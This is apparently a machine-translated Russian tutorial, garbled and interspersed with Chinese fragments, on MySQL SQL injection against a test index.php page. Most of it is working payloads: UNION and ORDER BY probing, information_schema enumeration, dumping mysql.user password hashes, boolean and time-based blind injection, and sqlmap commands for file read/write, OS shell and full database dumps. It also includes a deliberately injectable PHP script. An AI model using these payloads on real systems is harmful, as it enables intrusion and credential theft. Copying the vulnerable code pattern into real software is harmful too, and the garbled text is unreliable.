а. Прежде всего, мы предполагаем, что когда текущее количество полей равно 4, страница вернет ошибку, а это значит, что количество полей таблицы должно быть больше 4.
index.php?id=1' and 1=1 union select 1,2,3,4 --+
б. На основании вышеизложенного добавляем поле. При запросе 1, 2, 3, 4, 5 страница отображается нормально, что указывает на то, что структура таблицы имеет 5 полей.
index.php?id=1' and 1=1 union select 1,2,3,4,5 --+
index.php?id=1' and 1=1 union select null,null,null,null,null --+
Order ByПоля запроса: существоватьSQLОператор предназначен для сортировки указанного столбца набора результатов.,比如нас想让结果集按照第一列排序就是order by 1
Сортировать по второму столбцуorder by 2
И так далее,По этому принципу определяем количество полей,如果нас Сортировать по столбцу 1база данные вернутся нормально, но когда будем сортировать по столбцу 100, т.к. база В данных не существует 100-го столбца, поэтому сообщается об ошибке или невозможно нормально отобразить.
а. Сначала мы догадались, что в базе данных 6 полей. Мы попытались выполнить сортировку по строке 6 и обнаружили, что данные не могут быть отображены, что указывает на то, что их меньше 6.
index.php?id=1' and 1=1 order by 6 --+
б. Приведенный выше запрос не дает никаких результатов. Мы запрашиваем 6 полей без возвращаемого значения. Это означает, что в таблице меньше 6 полей. Мы продолжаем использовать 5 тестов, и в настоящее время возвращаются результаты.
index.php?id=1' and 1=1 order by 5 --+
Большинство программ вызывают только первый оператор запроса к базе данных, а затем возвращают данные, запрошенные с помощью совместного запроса, данные, которые мы хотим увидеть, находятся во втором операторе. Если мы хотим увидеть то, что хотим, их два. методы для данных. Первый — вернуть false первому фрагменту данных, а второй — напрямую вернуть нужные данные с помощью операторов SQL.
Первый: мы делаем результат первого запроса всегда ложным,Используяand 0
осознать,Маркировка ниже будет чистой.
index.php?id=1' and 0 union select null,null,null,null,null --+
Второй тип: через оператор limit лимит используется для подкачки в mysql, с помощью которой мы можем получить нужные нам данные из запрошенных данных.
index.php?id=1' union select null,null,null,null,null limit 1,1 --+
Проверьте все имена баз данных: MySQLПо умолчанию все данные таблицы помещаются вinformation_schema.schemata
这个表середина进行存储,Мы можем запросить данные в этой таблице, чтобы найти все имена баз данных в текущей системе.
index.php?id=1' and 0 union select 1,1,database(),1,1 --+ // Найти текущую библиотеку
# -----------------------------------------------------------------------------------
# под контролем limit 0,1,2,3...., можно получить указанное количество баз данныхимясказать.
index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 0,1 --+
index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 1,1 --+
index.php?id=1' and 0 union select 1,2,3,4,schema_name from information_schema.schemata limit 2,1 --+
Имя в таблице запроса: Используяgroup_concat
可以返回Запрос的所有结果,Потому что нам нужно определить нужные нам конфиденциальные данные посредством именования.
index.php?id=1' and 0 union select 1,2,group_concat(table_name),4,5
> from information_schema.tables where table_schema='lyshark' --+ // проверятьlysharkбиблиотекаимя таблицысказать
index.php?id=1' and 0 union select 1,2,table_name,4,5
> from information_schema.tables where table_schema='lyshark' limit 0,1 --+ // проверятьlysharkбиблиотекаимя таблицысказать
index.php?id=1' and 0 union select 1,2,table_name,4,5
> from information_schema.tables where table_schema='lyshark' limit 1,1 --+ // проверятьlysharkбиблиотекаимя таблицысказать
Поля в таблице запроса: Используяtable_schema
иtable_name
指定Запрос条件,Вы можете запросить поля и данные в таблице.
# -----------------------------------------------------------------------------------
index.php?id=1' and 0 union select 1,1,group_concat(column_name),4,5
> from information_schema.columns
> where table_schema='lyshark' and table_name='lyshark' --+
# -----------------------------------------------------------------------------------
# Вы также можете просмотреть поля в пользовательской таблице библиотеки MySQL и выполнить запрос.
index.php?id=1' and 0 union select 1,1,group_concat(column_name),4,5
> from information_schema.columns
> where table_schema='mysql' and table_name='user' --+
index.php?id=1' and 0 union select 1,1,column_name,4,5
> from information_schema.columns
> where table_schema='mysql' and table_name='user' limit 0,1 --+
Запросите данные в таблице: Чтобы запросить данные в таблице, мы можем использовать следующие три метода запроса.
index.php?id=1' and 0 union select 1,Host,Password,4,5 from mysql.user limit 0,1--+ // Опрос первого пользователя
index.php?id=1' and 0 union select 1,Host,Password,4,5 from mysql.user limit 1,1--+ // Запрос второго пользователя
index.php?id=1' and 0 union select 1,2,3,group_concat(id,username),5 from lyshark.users --+
Как использовать слепую инъекцию: Во-первых, вам нужно просто изменить приведенный выше исходный код, удалить поле эха, а затем изменить следующий код.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="gbk">
<title>SQL инъекция测试代码</title>
</head>
<?php
$connect = mysqli_connect("localhost","root","123","lyshark");
if($connect)
{
$id = $_GET['id'];
if(isset($id))
{
$sql = "select * from users where id='$id' limit 0,1";
$query = mysqli_query($connect,$sql);
$row = mysqli_fetch_array($query);
if(!empty($row))
{
print("Запрос завершен..");
}else
{
print("Ошибка запроса");
}
}
}
?>
<body>
<?php echo '<hr><b> Бэкэнд выполняет операторы SQL: </b>' . $sql; ?>
</body>
</html>
Угадайте имя базы данных: «Слепое внедрение» означает, что программа вернет два состояния: успех запроса и неудачу запроса. Нам нужно самостоятельно сконструировать условия оценки. Обычно используются следующие утверждения.
index.php?id=1' and left(version(),1)=5 --+ // Возвращается в нормальное состояние, указывая, что номер версии равен 5.
index.php?id=1' and (length(database()))=7 --+ // Вернитесь в нормальное состояние, объясните базу Длина имени данных равна 7
index.php?id=1' and (left(database(),1))='l' --+ // Вернитесь в нормальное состояние, объясните базу Первая цифра данных — l
index.php?id=1' and (left(database(),2))='ly' --+ // Вернитесь в нормальное состояние, объясните базу Первые две цифры данных — ly и так далее.
index.php?id=1' and ord(mid((CAST(database() AS CHAR)),1,1))=108 --+ // Проверьте, является ли первая цифра l
index.php?id=1' and ord(mid((CAST(database() AS CHAR)),2,1))=121 --+ // Проверяем, равна ли вторая цифра y,и так далее
Угадайте название таблицы:Если веб-страница возвращается нормально, это означает, что эта таблица существует. Если веб-страница возвращается ненормально, это означает, что она не существует.
index.php?id=1' and (select count(*) from mysql.user) >=0 // Таблица mysql.user существует.
index.php?id=1' and (select count(*) from lyshark) >=0 // Таблица Lyshark существует
Угадайте поле: если веб-страница возвращается нормально, это означает, что есть угаданное поле. Если оно ненормальное, вам нужно продолжить угадывание.
index.php?id=1' and (select count(id) from users) >=0 // Вернитесь к нормальному состоянию, указав, что поле id существует.
index.php?id=1' and (select count(name) from users) >=0 // Возврат ненормальный, и поле имени не существует.
index.php?id=1' and (select count(*) from lyshark) >=3 #-- // Возвращает количество записей в таблице
Подбор имени пользователя: Обнаружение нескольких указанных пользователей также может быть выполнено с помощью обычных символов. Использование других функций такое же.
index.php?id=1' and (length(user())) >=14 # // Угадай базу длина имени пользователя
index.php?id=1' and (select user() like 'root%') # // угадай имя пользователя
index.php?id=1' and (select user() regexp '^[a-z]') # // Угадай начало от А до Я
index.php?id=1' and (select user() regexp '^r') # // Первый из них - р.
index.php?id=1' and (select user() regexp '^ro') # // Вторая цифра — о.
index.php?id=1' and (select user() regexp '^root') # // и так далеепредполагатьчетверка лучших
Отсроченная инъекция: проходитьsleep(5)
Метод задержки,Мы также можем определить, есть ли точка инъекции.
index.php?id=1' and sleep(5) #
index.php?id=1' and sleep(5) order by 3 # // Если полей 3, будет задержка 5 секунд.
index.php?id=1' and select if(length(user())=0,sleep(3),1) # //Если user=0, задержка 3 секунды
index.php?id=1' and if(hex(mid(user(),1,1))=100,sleep(3),1) # // Первый символ = d, далее задержка 3 секунды.
index.php?id=1' and if(hex(mid(user(),1,1))=118,sleep(3),1) # // Второй символ = v задержится на 3 секунды.
Обычно используется Команда обнаружения:
sqlmap -u "./index.php?id=1" -v 3 # Показать полезную нагрузку атаки
sqlmap -u "./index.php?id=1" --level=3 # Укажите уровень обнаружения
sqlmap -u "./index.php?id=1" --privileges # Проверьте все права пользователя
sqlmap -u "./index.php?id=1" --privileges root # Проверьте права root-пользователя
sqlmap -u "./index.php?id=1" --all # Искать по всей базе данных
sqlmap -u "./index.php?id=1" --hostname # Запросить текущее имя хоста
sqlmap -u "./index.php?id=1" --is-dba # Определить root-права
sqlmap -u "./index.php?id=1" --users # база перечисления данныхпользователь
sqlmap -u "./index.php?id=1" --random-agent # Случайный пользовательский агент
sqlmap -u "./index.php?id=1" --output-dir="" # Пользовательский выходной каталог
sqlmap -u "./index.php?id=1" --file-read="" # прочитать файл
sqlmap -u "./index.php?id=1" --file-write="" # операция записи
sqlmap -u "./index.php?id=1" --os-cmd="net user" # выполнить команду
sqlmap -u "./index.php?id=1" --os-shell # Интерактивное выполнение команд
sqlmap -u "./index.php?id=1" --sql-query="" # Оператор SQL выполнен
sqlmap -u "./index.php?id=1" --cookie="" # Указанный файл cookie
sqlmap -u "./index.php?id=1" --temper="" # Укажите скрипт фильтра
sqlmap -u "./index.php?id=1" --dbs --delay 1 # Ввести после задержки в 1 секунду
sqlmap -u "./index.php?id=1" --dbs --safe-freq 3 # Ввести после задержки в 3 секунды.
sqlmap -u "./index.php?id=1" --identify-waf # Проверьте, есть ли WAF
sqlmap -u "./index.php?id=1" --current-db # Запросить текущую базу данных
sqlmap -u "./index.php?id=1" --current-user # Запросить текущее имя хоста
sqlmap -u "./index.php?id=1" --users # Запросить все имена пользователей
sqlmap -u "./index.php?id=1" --dbs # Перечислить все базы данных
sqlmap -u "./index.php?id=1" --tables # Перечислить все таблицы
sqlmap -u "./index.php?id=1" -D "mysql" --tables # Получить таблицу в библиотеке MySQL.
sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns # Получить имя столбца таблицы mysql.host
sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump # Сохраните mysql.host на локальном компьютере.
sqlmap -u "./index.php?id=1" -D "mysql" --dump-all # Сними все штаны
sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dump
Внедрение файлов cookie: 当level>=2час,Используйте внедрение файлов cookie,level >=3 Внедрить с помощью User-agent/Referer.
sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2 #Определяем точку инъекции
sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2 #Предполагатьбаза данныхимя
sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2 #угадай имя таблицы
sqlmap -u "./index.php" -v 3 --cookie id=1 -T имя таблицы --clumns --level 2 #угадай поле
sqlmap -u "./index.php" -v 3 --cookie id=1 -T имя таблицы --clumns --dump --level 2 #угадай контент
ПОСТ-инъекция: Этот метод обычно заключается в использовании инструмента захвата пакетов для захвата пакета данных, а затем в указании полей для тестирования.
1. Откройте целевой адрес в браузере. http://www.xxx.com/index.php
2. Настройте прокси-сервер Burp (127.0.0.1:8080). Будьте готовы перехватывать запросы
3. Нажмите кнопку «Отправить» в форме войти., или можно использовать другие кнопки
4. В это время Burp перехватит наш POST-запрос на вход в систему.
5. Преобразуйте этот запрос на публикацию скопировать в txt и запишите содержимое. id=1&Submit=Submit
sqlmap -r post.txt -p id --dbs
Sqlmap -r post.txt -p id -D mysql --tables
Sqlmap -r post.txt -p id -D mysql -T user --columns
sqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dump
sqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2"